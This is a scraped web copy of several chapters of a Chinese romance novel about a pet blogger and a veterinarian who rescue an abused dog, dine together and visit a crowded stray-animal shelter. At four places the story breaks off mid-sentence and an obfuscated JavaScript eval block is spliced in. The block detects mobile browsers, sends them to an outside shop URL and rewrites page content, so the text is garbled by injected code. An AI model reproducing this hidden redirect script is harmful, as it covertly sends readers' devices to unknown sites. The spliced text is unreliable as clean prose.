“正常人见到流浪狗先找主人,”李朝穗嗤笑一声,盯着他,“你倒好,直接奔着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495827|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免费救助来了,你怎么知道这家医院有免费救助?医院都没对外宣传过。” “我、我猜的。” “猜的?那你运气不太好,这家医院的免费救助项目,只针对社区登记的流浪动物,需要社区开证明。你有带证明吗?” 男人一听,懵了,半天说不出话。 许琮站在旁边,黑框眼镜下的一双眸子转了转,终究是把眼底的笑意压了下去。配合着她的话:“对,需要社区证明。” “我、我哪知道那么多啊!”男人一看没法狡辩,又开始大喊大叫,“我反正是好心——” “还有,”李朝穗打断他,“你说你是刚捡的,那这牵引绳哪来的?随身携带?” 男人眼神飘忽,想反驳但卡壳了。 “一般人在路上捡到流浪狗,哪有现成的牵引绳啊?大小还正合适。”她的声音不紧不慢,“除非你出门就拿着绳子,出门的时候就打算‘捡’只狗回来。” 男人脸涨红了,嘴巴张了又合、合了又张。就在他支支吾吾说不出话的时候,目光忽然撇见了李朝穗手里的手机,屏幕上的录像界面正在计时。 他的脸色一变,“你他妈的录我?”话音未落,他猛地伸手去抓李朝穗的手机,“把手机给我!” 许琮的动作更快,一把攥住男人的手,力道很大,位置还正好是关节处,警告道:“你现在动了手,可就是另一回事了。” 男人瞪着他,又看了一眼李朝穗的手机,脸色变了又变,似是不甘心。 “你刚才的行为,我都录下来了。” 她没被吓到,反倒晃了晃手机,一条一条地数:“调戏、骚扰,加上现在的动手寻衅滋事,你要不要自己看看?” 男人被钳制住手腕,挣了两下没挣开,脸上挂不住,嘴里骂了几句脏话,忽而把怒火转嫁到狗身上,另一只手猛地把牵引绳收紧,小狗被凌空拽起,四只爪子在空中乱蹬,发出惨叫。 “都是你这个赔钱货闹的,看我不弄死你!” 李朝穗瞳孔一缩,下意识往前冲了一步,又生生停住了。 “松手!”许琮的声音陡然拔高,抓着男子手的力道又大了几分,用力往后一掰,痛的男子龇牙咧嘴,但死也不松绳。 狗狗的叫声越来越弱,好像下一秒就要断了气,再也发不出声音。 李朝穗深吸一口气,掌心的肉被指甲扎得发疼,提醒自己别展现出软弱的一面。她盯着男人,说出口的每个字都咬的清楚:“你把狗放下。” “我就不放!我今天就把这畜生弄死,反正不是人,我想怎么样就怎么样!” 李朝穗重新举起手机,正对着男子,“你现在有两个选择:第一,把狗放下,现在走,我当什么都没发生过。” “第二——”她关了录像,低头,在拨号键盘上按了三个数字110。 “我现在就报警,骚扰、寻衅滋事,我全都录下来了。你猜等警察到了,你能若无其事回去吗?” 男人的手抖了一下,但依然没松。许琮没再和他较劲,他松开男人的手腕,退后一步,“报警吧,医院的监控录像也可以作证,他跑不掉的。” 男人听到这话,看了看许琮,又看了看李朝穗,她的手指已经在屏幕上点了下去,随后手机被贴在耳边。他的喉结上下滚动了一下,把牵引绳往地上一甩,逃也似的转身就走。 那条小狗缩在原地,浑身哆嗦,不敢动。 李朝穗快步走上前,把绳子捡起来解开了,扔到一旁。许琮也蹲下来,伸手摸了摸小狗的脖子,检查有没有受伤。 “没大碍,”他轻声说,“缓一缓就好了。” 李朝穗点点头,没说话。许琮看着她被发丝遮住了大半的表情,看不出特别,摸着小狗的手却还在抖。 “刚才怕了?” “怕啊。”李朝穗老实回答,“怕也得做。” 许琮没再说什么,抱着狗往诊室走。走了两步又停下来,回头看她:“下次再碰到这种事,别自己往上冲。” “还有,”他的声音从走廊那头飘过来,带着点不易察觉的笑意,“三顿饭,别忘记了。” 李朝穗愣了一下,想起自己之前说过的“三顿饭”的承诺,忍不住笑了。 “忘不了。” 许琮转身走进诊室,把小狗轻轻放在处置台上。他掏出手机,在“照片、椰子糖”下面添了一行新字: “三顿饭,已提醒。” 帮小狗清理皮肤的时间里,他也在偷偷复盘这几天的事情。加了好友,约了三顿饭,今天也算刷了存在感…… 进度不错。 4. 答谢宴 第四章答谢宴 待李朝穗去看完岁岁,下楼来到前台准备给小狗缴费,却被告知不用交费,许琮向院长申请了免费救助,医药费由医院承担。 “这样啊……”李朝穗收起包包,继续询问:“许医生呢?我刚刚去办公室找他没看到他。” 前台疑惑地皱起眉,“许医生刚刚去找你了,你们没见到面吗?他刚刚还问我你在哪,我说你在住院区,他立马转身去找你了。”说完,她还指了指楼梯的方向。 - “许医生!”身后传来女孩的声音,许琮收了摸着岁岁的手,转身望去。这两天天气有些回暖,不像她第一次来的那天湿冷。她今天穿了身棕色针织长裙,配上手上的麂皮手提包,简约而不失风格,和初次在医院看见她紧张害怕的样子截然不同。 许琮没回话,眼神一直跟随着她。 李朝穗在他旁边蹲下,和岁岁互动。明天就是岁岁出院的日子,许琮给她交代了些注意事项,李朝穗像小时候听老师上课一样,许琮说什么,她只管点头应下。两人就这么蹲着,一个源源不断说,一个小鸡啄米似的点头。 许琮上午刚做完两台骨科手术,此时蹲了那么久,早已有些腿麻头晕,听觉似乎也受到了影响。 “要是回去有什么不懂的就问我。” “许医生,……你喜欢吗?” 两人的话同时说出,交叠在一起。许琮只听见“喜欢”两个字,大脑短暂的空白了一瞬。 “什么喜欢?”他问,声音比平时低了一些,似乎还有些紧张,睫毛不断抖动。 “我说的是你喜欢什么菜系。”李朝穗眨巴着眼睛,感到有点莫名其妙,“我请你吃饭呀,之前说好的三顿饭。” 许琮意识到自己听岔了,心跳还没有平复,面上已经恢复如常。他没急着回答,而是慢悠悠地站起身,顺手也拉了她一把。 眨眼间,他便恢复到了之前那副清冷的样子,“川菜鲜香麻辣、粤菜清淡可口、徽菜浓厚酱香,各有各的特点。” “云栖市主要盛行徽菜……”她停顿思索了片刻,“我记得溪湖旁边有一家中式徽菜馆,据说味道不错,我们去那吧,地址我稍后发给你。” “好啊,你定时间。” 答谢宴的事情就这么定了下来,李朝穗留在原地,没注意到许琮的变化。 不修边幅的许医生回到办公室,对照着镜子仔仔细细地把自己打量了一番。 长得是蛮好的,浓眉大眼的,鼻梁也高,就是胡茬明显了点,黑眼圈重了点,眼皮耷拉了点,黑色方框眼镜显得土了一点,发型差了一点,眼角有点小皱纹…… 他想起刚才李朝穗打量他时关切的眼神,仿佛在说“上班害人不浅啊”。 这个揣测让许琮逐渐烦躁,随手拿了块抹布把镜子给遮上,若无其事地继续上班。 次日傍晚。 位于溪湖旁边的“徽韵楼”人满为患,中式装修风格的店里处处透露着精致。 李朝穗来到事先预定好的位置坐下,她习惯提前十几分钟到达约定地点,比起计算好时间准确到达,她更习惯等待。 店里菜品颇多,光是桌面放的纸质菜单就有十页之多,包括早点、徽菜系列、饮品、甜品。 李朝穗翻看着菜单,心里盘算着待会要怎么点。应该是自己点吧,毕竟是她说要请人吃饭的,肯定提前安排好比较好。不过,请人吃饭也得看客人口味,还是先看看心里有个数吧。 万一许医生也像自己一样选择困难呢。 她来来回回翻看着菜单,服务员来询问了两次都被她礼貌拒绝,秀气的五官上完全不见下馆子的热情,内心的纠结仿佛多的要溢出来。 准点赶来的许琮找到位置后看到的就是这一幕,他停下脚步,眼睛一动不动地黏在那处,嘴角不知哪一瞬也挂上了弧度。许琮匆匆掠过桌椅,坐到女孩对面。 人已落座,李朝穗的注意力才转移到许琮身上。 面前的男人没有了老土黑框眼镜,脸颊也被收拾的干干净净,骨相极好的面容被完全展现出来。随意的内搭变成了紧身高领羊绒毛衣,工作服变成了深棕色大衣,脖子和手腕上还出现了配套的银色细链。 许琮脱下外套,只留一件毛衣,纯黑色毛衣紧紧包裹住男人的身体,清楚勾勒出肩背和手臂的线条。 “这里的位置空着,我想应该是留给我的吧?” “是、是的。”李朝穗连连点头,与对面的目光相会,赶紧收回视线,耳朵尖隐隐有发烫的趋势。 她低头假装看菜单,心里却乱作一锅粥。他工作的形象和现在的差别是不是有点太大了?还是说刮了个胡子换了身衣服就能差那么多? 空气很默契的寂静了几秒。 许琮发现她泛红的耳尖,没有戳破,而是率先开口:“这家店的环境很好啊,你是怎么找到这家的?” “在网上查攻略,看到别人推荐的。”李朝穗顿了顿,又补上一句:“中式风格,确实很漂亮。”说完她就觉得这话干巴巴的,但脑子一时半会也想不出更合适的。 此刻的李朝穗就像是一块瘦肉,需要人挤一挤才能刮得下油来,没了人帮忙,她现在一滴油都没有。 许琮“嗯”了一声,目光落在她紧握菜单的手指上,“要不要先点菜?” “好。”李朝穗松了口气,赶紧把菜单往他那边推了推,“你先看,你点就行。” “一起看。”许琮把菜单放到中间,身体微微前倾,修长的食指在菜单上轻点,“我们两个人,点三个菜和两份甜品饮品就够了。这道臭鳜鱼是招牌,改良过,味道没那么冲,适合初次尝试的人。”他的声音虽低沉,但说出口的话却温润,咬字清晰,语调柔和,像山涧清泉。 泉水淙淙,和他的名字很像。 李朝穗顺着他指的方向看去,果然看见图片上色泽诱人的鳜鱼,旁边还标注着“主厨推荐”和几句简单的介绍。她轻轻“啊”了一声,像是松了口气,又带着点不好意思:“我正纠结这个呢……听说很出名,但又怕味道太重。” “放心,”许琮将菜单往她那边推了推,身体微微后靠,餐厅柔和的暖光在他轮廓分明的下颌线上投下浅浅阴影,让他看起来比在医院时少了几分严肃,多了几分闲适,“我之前吃过几次,处理得很好。再配个问政山笋,清淡爽口。第三个菜……” 他顿了顿,目光扫过菜单,又落回她脸上,稍微前倾拿过她面前的空杯,倒上小半杯水,带着询问的意味开口:“你来决定?选个你爱吃的。” 李朝穗注意到他的动作,轻声道了句“谢谢”。思索再三,将其中一道名字很奇怪的菜勾了起来。 对面的许医生一直耐心看着她的动作,看到她选了“八公山豆腐”,肯定的点了点头,并“不错,食材丰富,汤底也鲜。” 他招手唤来服务员,利落地点了菜,又自然地转向她,“甜品要杨枝甘露还是桂花酒酿圆子?这时节的桂花很香,做出来的甜品应该别有风味。” “桂花酒酿圆子吧。”李朝穗轻声应道,她也想尝尝桂花做成的甜品是什么样的。 点餐的过程出乎意料的顺利,她原本预想的“你点吧——还是你点吧”的推拉场景没有出现,这让她紧绷的神经松弛下来。 店里陈设偏宋式,沉木桌椅为整个店奠定了复古基调,空气中弥漫着淡淡的熏香,每桌之间都有竹帘或屏风隔开,角落处立着一盏鸡翅木落地宫灯,他们坐的位置靠窗,可以看到院内精心布置的绿景。 黄昏将至,天色也渐渐暗淡,那盏宫灯适时亮起,暖调光线点亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495828|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们在的小方区域。 等餐期间,许琮随口聊起:“这家店我之前和同事来过一次,”提起这事,许琮似乎心情很好,“也算是我师弟,他想约喜欢的女孩子吃饭,拉我提前来踩点了。结果一进店里他就不自在,非要和我坐一起,还老是往我这边靠。” 李朝穗听到这话来了兴趣:“然后呢?” 关于恋爱的八卦事,谁听了都入迷,李朝穗正听得起劲呢,他却故意停在关键处,看着她不说话。李朝穗便开始猜测后续:“碰到那个女生了吗?” “你猜对了一半。” “他喜欢的女生当天也正好在那家餐厅吃饭,看到他那样,把我和他误会成了一对,气得转身就走了。” “哈哈哈……”李朝穗没控制住,笑出了声,“这也太巧了吧,后来呢,他有没有追上去解释?” “他追上去了,解释了,但没有在一起。”许琮假模假样地叹了口气,又笑着摇了摇头。“他刚想解释,就发现女生当天是约了和另一个男生一起在这家店吃饭,两个人就这么不欢而散了。” 李朝穗从笑意中缓过来,故作老成地安慰到:“这也说明他们没缘分,他还会再遇到喜欢的女生的。” 许琮看着她,忽然问:“你信缘分吗?” 李朝穗被这个问题砸的一愣。她想了想,认真地说:“说不上信不信,但我觉得,能遇到就是好的。” 许琮颔首,嘴角漾起浅淡的弧度,似乎也染上了灯光的暖意。 窗外华灯初上,秋夜的凉意被隔绝在玻璃之外,室内流淌着低回舒缓的钢琴曲,空气里弥漫着若有似无的食物香气。点完单,短暂的空隙里,氛围渐渐热络了起来。 大约两刻钟后,菜品陆续上桌。 臭鳜鱼果然如许琮所说,异味很淡,鱼肉呈蒜瓣状,洁白紧实,覆盖着深色的酱汁,咸香鲜醇,极为下饭;问政山笋脆嫩爽口,带着山野的清新;八公山豆腐也和菜单上一样,晶莹剔透、白似玉板。 两份桂花酒酿圆子散发着淡淡的桂花香气,刚才随意点的时令饮品桂花牛乳茶温热暖胃,一口下去仿佛置身桂花海里。 用餐期间,许琮始终保持着绅士风度,但并未过度殷勤。会在她尝试臭鳜鱼时,适时递上干净的骨碟;在她被山笋的辣味不经意呛到时,默默将冰镇的杨枝甘露推近一些。 他照顾细致入微,却又保持着恰到好处的距离,不让她感到丝毫压力。 无论是从许琮照顾低血糖的自己,还是帮忙在手术时联系血源,李朝穗都能感觉到他内心的温热,和他表面拒人千里的外貌颇有反差。 李朝穗看在眼里,也没过多拒绝。 许琮今年27岁,比她大那么多,饭桌上把她当小孩看照顾她好像也没什么,改天他需要帮忙照顾的时候自己也多做些就好。 美味的饭菜被两人消灭干净,准确来说是被许琮吃完的。 吃到一半李朝穗就饱了,本着不浪费粮食的原则,她还是一点点把食物往嘴里送,许琮似乎是看出了她的顾虑,主动担起这份责任。 饭后,许琮自然地拿起账单到前台结账,李朝穗想起之前的约定,连忙拿出手机:“说好我请客的。”许琮却抬手虚拦了一下,嘴角噙着一抹笑:“下次吧。这次算我给你和岁岁接风,欢迎你们来云市。” 他眼疾手快的付了款,李朝穗推辞不过,只好再次道谢。 秋夜的风带着凉意,吹散了餐厅内的暖融。 今天是意外的好天气,温度还算适宜,也没有下雨。许琮依旧开车送她回去,车内放着舒缓的轻音乐,隔绝了外界的喧嚣。气氛不再像刚见面局促,一种安静的默契在狭小的空间里流淌。 两人心思各异,有人心里想着的是怎么还情,有的人心里想着的是怎么还不清。 5. 安心基地 第五章安心基地 时间过得飞快,岁岁已经出院一周。 恰巧今天天气好,李朝穗盘算着带岁岁去珊姐说的基地里的狗狗乐园玩玩,顺便探望一下来医院的那三只。 阳光斜斜地洒在安心基地的招牌上,李朝穗牵着岁岁站在门口。 “小穗啊!” 一个干练的女声从里面传来,接着就看见面前的珊姐大步流星地迎出来,身上还是那一件灰扑扑的外套,脸上带着明媚的笑。 上次在医院短暂地交流,珊姐直爽的性格让两人的关系近了不少。 李朝穗礼貌地笑了笑,“珊姐好,我想过来看看狗狗,顺便带岁岁出来活动一下。” 珊姐走近,先蹲下来揉了揉岁岁的脑袋:“恢复得挺好啊。”她站起身,看向李朝穗,语气认真起来,“对了,那批狗粮收到了,100公斤,够基地吃一阵子的。我呀,代表全基地向你表示由衷的感谢。” 李朝穗有点不好意思,摆摆手:“应该的。许医生告诉我基地一直在免费救助流浪动物,你们肯定压力很大。” 珊姐没再多客套,带着她往里走,边走边聊起来。 “基地的情况,许医生跟你提过没?” 李朝穗摇头。 珊姐像是早料到似的,“他那人就这样,做十分说一分。那我给你介绍一下吧。” 基地很大,一眼望不到边。穿过铁门是一大片草坪和一栋双层集装箱,外围用木栅栏圈了起来,入口处做了挂牌提示。集装箱外层画着萌宠图案,还挂着一个发光的招牌“安心小站”。 珊姐指着面前开阔的绿地说:“这一大片,就是我跟你提过的宠物乐园。” “许医生投资的,去年才建好。专门对外开放,主人可以带猫狗来玩,我们提供简单的狗零食和人的饮品,收点费用。所有收入,除了维持乐园本身的运营,剩下的全部贴补给基地。” 李朝穗顺着她手指的方向看过去,草坪打理得很整齐,有几只小狗在追逐奔跑,旁边遮阳伞下的桌子坐着喝茶聊天的主人。 环境很好,加上基地的故事,说不定可以当拍摄素材。她下意识摸了一下包里的手机,又缩回手。 算了,这次不是来工作的。 “他当初说是投资,”珊姐语气里带着点感慨,“但咱们都清楚,这就是捐的。乐园从设计到落地,他没拿过一分钱回报,还搭进去不少人情,小站里那些周边产品,猫狗主题的杯子、帆布袋什么的,是他找朋友工厂做的,成本价给基地,卖出去的钱也全用来救助。” 李朝穗安静地听着,没说话,心里却忍不住回想起许琮的模样。 这个人……做的事,总比别人想的多一步。 说话间,她们已经走到宠物乐园的入口。珊姐正要领她进去,李朝穗却停住脚步,从包里掏出手机:“珊姐,门票多少钱?我扫给你。” “你来还花什么钱……” “规定就是规定。”李朝穗坚持。 珊姐拗不过,报了价格。扫码付款后,李朝穗松开牵引绳,岁岁几乎是弹射出去的,撒开腿在草坪上疯跑,脖子上的伊丽莎白圈像个小喇叭,滑稽又可爱。 “珊姐,我想去基地看看。”她转过头对看着小狗玩耍入迷的珊姐说,“想看看当时来医院的那三只。” 珊姐点头,带她从后门出去。 脚下的触感从草地变成水泥地。空气也变了,青草花香渐渐被一股动物身上特有的气味盖过。 基地的大门是一扇生锈的铁网门,珊姐推开门的瞬间,上千只狗同时吠叫起来,声音震得耳膜发疼。 踏进这片区域,气味更加清晰,灼得喉咙发疼。那是动物、排泄物、消毒水、狗粮混合在一起,被阳光一晒蒸腾出的味道。 胃部被刺激得开始翻滚,李朝穗咬紧牙关,不断调整着自己的呼吸,强硬的把呕吐的冲动忍了下去。 “安静!”珊姐低喝一声,声音不大,但胜在语气严肃。犬舍像是按下了什么开关一样,吠叫声渐渐平息下去,变成此起彼伏的低沉呜咽。 珊姐看着李朝穗,心中明白她现在的不适,毕竟自己当初也是这么过来的。她有点不好意思地道歉:“不好意思啊,味道是有点太冲了。猫狗太多,资金都紧着它们吃饭看病,居住环境实在顾不上。看起来是破旧了点,不过每天都有志愿者来打扫,卫生没问题。” 李朝穗喉口发紧,说不出话,目光扫过一排排笼子。 比她想象的要干净,水泥地面冲刷过的痕迹还在,笼子里的垫子虽然旧,但没有明显的污渍。 院子角落里搭着铁硼,棚子下是一个颇为简陋的灶台,锅大得能放进一整只羊。旁边堆着几袋打开的玉米面,大铁锅盖着锅盖,热气腾腾的。 “那是给它们做饭用的。”珊姐顺着李朝穗的目光看过去,“光吃狗粮太贵,掺着其他煮,能省点。” 珊姐带着她穿过大院,停在“大型犬宿舍”前,三只狗窝在角落的狗几乎是同时扑到铁网前的。 李朝穗一眼就认出了它们。 珊姐打开门,三只狗鱼贯而出。金毛第一个扑上来,绕着李朝穗转圈,尾巴摇得像螺旋桨。她刚蹲下想摸摸它,这家伙直接一个猛冲,前爪搭上她肩膀,李朝穗没蹲稳,一屁股坐在地上。另外两只也是一个劲的往她身边凑。 李朝穗被围在中间,用手挡着脸,笑着喊救命。 珊姐赶紧把金毛拽开,拉起一身狼狈的李朝穗,忍不住笑:“摔疼了吧?它们太热情了。” 李朝穗低头看自己,裤子上沾了灰,外套上是明晃晃的狗爪印,脸上脖子上全是口水。即使有心理准备,但看到自己身上乱糟糟的样子,还是不免有些惊讶。 “它们记得我呀。”她边拍打自己灰扑扑的裤子边说,语气里带着点惊喜。 “应该是记得你的味道,有些人是招猫狗喜欢的,你大概就是那种。” 日光爬到头顶,正是一天中温度最高的时候,水泥地面被晒得泛着一层白晃晃的光。李朝穗刚用湿毛巾擦掉身上的黏腻腻的口水,就听见院子那头传来一阵动静。 一个大爷掀开露天灶台上那口大锅的锅盖,白腾腾的热气顷刻间全扑出来,带着浓郁的食物香气。他抄起大笊篱,捞出鸡胸肉、鸡骨架倒进大鹏,又拆开狗粮袋往里添,抄起铲子来回翻拌,香味飘得满院子都是。 珊姐说:“到饭点了,我去帮忙。” 李朝穗把毛巾往旁边一放:“珊姐,我帮你。” 珊姐回头看她,眼神里有点意外,应了一声。她领着李朝穗走到灶台边,“大型犬宿舍一笼三只,每盆大概三斤,肉要捣碎拌匀。” 李朝穗卷起袖子,弯腰端起第一盆食,沉甸甸的锈钢盆沿硌得手心生疼。她把盆从铁门下端的开口推进去。几乎是一瞬间,三只狗同时扑上去,脑袋扎进盆里,把盆撞的“乓乓”响。不到五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她忽然想起岁岁,岁岁很挑食,蔬菜多的不吃,不好吃的狗粮不吃。吃饭从来都是慢条斯理,碗里有粮,它就一颗一颗嚼,吃到一半还能抬起头看看她,摇摇尾巴,它不知道什么叫“抢不到就活不下去”。 可这里的每一只都知道。 珊姐蹲在那儿,拿个破瓢把洒在地上的粮拢起来,倒进旁边的潲水桶。“能吃的不能浪费,晚上掺点水煮煮,还能给那些不挑嘴的。” 李朝穗看着她粗糙的手,看着那桶里混着泥灰的狗粮,又抬头环顾四周。那些简陋的铁网笼舍,那个露天的大灶,墙角堆着的旧棉被和编织袋,刚开始刺鼻的气味此刻好像也不再难以接受。 李朝穗看着这一切,忽然觉得这点脏根本不算什么。 “还有两排呢,继续?”珊姐站起来,拍了拍手上的灰。 李朝穗回过神,接过珊姐递来的又一盆狗粮。 喂完最后一间宿舍,李朝穗直起腰,感觉胳膊都不是自己的了。低头一看,好家伙,衣服上比刚才更精彩,狗爪印叠着狗粮渣,还蹭了几道不明来路的湿痕。 珊姐打量她这一身,笑着说:“你这身,擦是擦不掉了。” 李朝穗脸上扬起无奈的笑,认命地叹了口气。 珊姐把盆摞好,挥挥手招呼她:“走吧,跟我去乐园那边,我记得休息室里放着几件干净衣服,你先换上。” 李朝穗下意识想推辞,话还没出口,珊姐已经转身走了。她只好跟上去,边走边试图用湿巾抢救一下袖子,结果越擦越脏,那点湿乎乎的地方把灰和成了泥。 “不用擦了,真的。”珊姐听着身后的动静,头也不回,“我那有衣服,你先凑合穿,回头洗了再还我就行。” 6. 欠债 第六章欠债 珊姐从休息室里拎出一件深灰色卫衣,举起来在李朝穗的面前比划。 “就这个吧,干净的。” 李朝穗接过来,展开来仔细看,衣服尺码不小,有些旧,像是男款。她拿在手里,不知道该怎么办才好。 珊姐看她愣在原地,忽然“哦”了一声:“这是许医生的,他之前来基地帮忙,落这儿的。一直说拿走一直忘,就这么放着呢。” 李朝穗手一抖,差点把衣服扔回去。 “不不不,那我更不能穿了。”她赶紧往回递,“珊姐你给我找件别的就行,你的也行。” “我的你穿不合适,我比你矮一截呢。”珊姐没接,“等着,我问问他。” 她掏出手机,当着李朝穗的面,给许琮发了条语音:“许医生,你落基地那件灰卫衣,给小穗穿一下行不?她衣服脏得没法看了。” 消息发出去,不到一分钟,手机震了。 许琮回的也是语音,珊姐直接点开,男人低沉的声音从扬声器里传出来,语气很平淡:“穿吧。没事。” 珊姐有些疑惑:“这小子怎么突然发语音回复了?”随后冲李朝穗扬了扬下巴:“行了,许医生批了,快换上吧。” 李朝穗攥着那件卫衣,指尖无意识地捻了捻布料。软的,洗过很多次的那种软,还有一点点……说不上来是什么味道,不是香水,也不是洗衣液。 她没再推脱,接过来换上。 卫衣确实大,袖子长出一截,下摆快到大腿中间,但很舒服,像被什么软软的东西裹着。她低头看了看自己,又抬头对上珊姐笑眯眯的眼神,忽然有点不自在。 “挺好。”珊姐点点头,“行了,回去路上慢点,岁岁今天玩累了,晚上肯定睡得香。” 李朝穗告别了珊姐,带着浑身是土的岁岁驱车回家。 到家。 身上的卫衣已经躺在脏衣篓里,洗漱过后的她坐在电脑桌前,脑子里怎么也静不下来。 今天看见的那些画面,一帧一帧地往外冒。基地和乐园截然不同的环境,上千只狗同时吠叫的声音,狗狗身上都或多或少有着伤疤,还有喂食时遇到的那两只抢食的狗。 “脑袋里那个开关,关不掉了。” 珊姐的话像小石子,一颗一颗扔进她心里,沉甸甸地落下去。 活了二十多年,第一次这么真切地感觉到,原来有些东西,一旦经历过,就真的再也回不去。不只是人,动物也是。 想着想着,她的视线突然落在了脏衣篓里,忽然想起来,自己穿了人家的衣服还没来得及跟他说一声谢谢。她拿起桌上的手机翻出许琮的聊天框,聊天记录还停在几天前。 她打了几个字,删掉,又打,又删,最后发出去的只有一句:“许医生,衣服洗干净了还你。”发完她就放下手机,去给岁岁收拾玩具。 大概过了五分钟,手机震了。 爱德宠物医院许琮:“明天来医院给岁岁拆线?顺便一起吃个饭。” 李朝穗盯着屏幕,犹豫的丝线在心里快绞成一团了,“顺便”这个词,他用得可真随便。吃饭这件事,一来二去的,好像真有点算不清了。 “好!不过这一顿必须我来付。” 处理完私事,李朝穗这才把注意力放在累积了很多数字红点的对话框上,赵茜茜从刚才就开始消息轰炸。 赵茜茜:“最近有好多狗粮品牌来联系我,说想跟我们合作,你看看要不要考虑一下?” “这家狗粮品牌因为之前的舆论风波,开价挺高的。” …… 李朝穗看着狗粮品牌介绍,皱起了眉头。这家狗粮去年因为安全问题被消费者起诉,至今都在狗粮“黑榜”高居不下,她上网搜了搜,发现有部分博主已经发布了这家狗粮的推广视频。 岁岁安:“狗粮广告拒了吧,他们家之前出过安全问题。” 没过几秒,对面的回复就弹了出来。 赵茜茜:“这单出价真的很高,你不考虑一下吗?” “流量不是时时都有,你这时候不接,过段时间可能就没这价格了。” “现在养宠群体越来越大,你要不试着接一下狗粮广告呗。” 一连串的劝说下来,李朝穗已经知道她的目的。她知道赵茜茜缺钱,大学助学金名额被顶替的事情,她亲眼看见。赵茜茜冲到办公室理论,得到的只有轻飘飘的一句“她比较符合条件”。 她不甘的质问被门外的李朝穗听见,或许是不忍,李朝穗邀请她做自己的账号运营。 可毕业后的这一年,李朝穗越来越觉得无法和她沟通。 岁岁安:“正因为现在账号流量好才更要拒绝,我从来没给岁岁吃过这款狗粮,更何况他们还出过安全问题,我怎么敢做推广啊。” 她的账号是“养宠日常+旅居”赛道,视频内容包括生活日常、旅游攻略,尽管有很多广告商找上门,但她也会精挑细选,控制广告数量。一来是觉得广告太多影响观看体验,二来是她不想无底线的挣钱。 网络不断发展,自媒体成了来钱最快的职业。她做自媒体后,亲身体会到网络与现实的巨大割裂,钱来得太容易,她心里不安。于是,怎样合理化自己的劳动和收入相匹配一时间成为了她最重要的课题,可吃着这口饭,哪有那么容易找到心安和赚钱的两全法。 李朝穗已经刻意减少接广,并不断打磨自己的视频内容,使它带给观众的不是三秒钟乐趣。 赵茜茜隔了好一会儿才回复:“行吧,我跟品牌方说一下。不过朝穗,我也只是想让咱们的收入更高一点嘛。” 她不是不懂钱的重要性,只是有些钱不能赚。 “以后有合适的再说吧。” 赵茜茜:“好吧。岁岁拆线是什么时候,需不需要我去趟云栖?” “不用了,明天我自己带它去。” 李朝穗放下手机,揉了揉太阳穴,心里计划着找个合适的时间,和赵茜茜好好谈谈,她的状态让人有些不放心。 正准备关掉手机,屏幕上方弹出平台私信。她点进去,是一个陌生头像发来的。 “朝穗学姐你好!冒昧打扰了。我叫徐安,玉川大学新闻传播专业的学生,大四在校生。……斗胆问一下学姐现在是否还缺剪辑助理,我知道这样很唐突,但如果学姐愿意给我一个机会的话,我一定会努力让学姐满意的。非常抱歉私信打扰!” 李朝穗一字一句看完,没有立刻回复。 次日上午,她带着岁岁来到爱德宠物医院。 许琮三下五除二就处理完伤口,“好了,”他脱下医用手套,摸了摸岁岁的脑袋,“回去注意观察,有红肿拍照发我。” “谢谢许医生……”李朝穗道谢的声音很小。 从刚才开始她就不自然地站在角落,绞着手指,一副不知道在想什么的样子。许琮看着她,眼睛微微眯了起来,他好像能猜到是因为什么事。 他收回视线,转身去洗手,不远处的女孩似乎还没有动作。等水声停了,许琮抽了张纸巾开口,回头问她:“怎么了?” 李朝穗深吸一口气,声音闷闷的:“那个……许医生,你的卫衣不小心被岁岁咬坏了。” “你把购买链接发给我吧,我重新给你买一件。” 许琮语气带着不确定问:“什么卫衣?” 李朝穗愣了一下:“就是昨天我在基地穿回来的那一件,珊姐给我拿的……” “哦,”许琮把手里的纸巾丢进垃圾桶,“那件啊,没事,不用赔了,本来也该扔了。” “可是……” “昨天说好的,待会一起吃午饭吗?” 女孩像是被他突然转变的话题搞蒙了,好一会儿才缓缓点头,轻声应下。 李朝穗满腹疑虑,卫衣的事该这么算了吗?感觉还是赔点什么比较好吧,可看他一脸不在意的样子……唉,岁岁真是把她害惨了。 “哟,老许!” 身后突然传来一个欢快的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495830|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音。 关雨景满脸笑容从走廊走过来,热情地和他们打招呼。许琮瞥了他一眼,“你不是去乡下了?” “早上就回来了。”男人两步走到跟前,上下打量了一下李朝穗,眼里是盖不住的好奇,“你就是他们说的那个漂亮博主吧?” 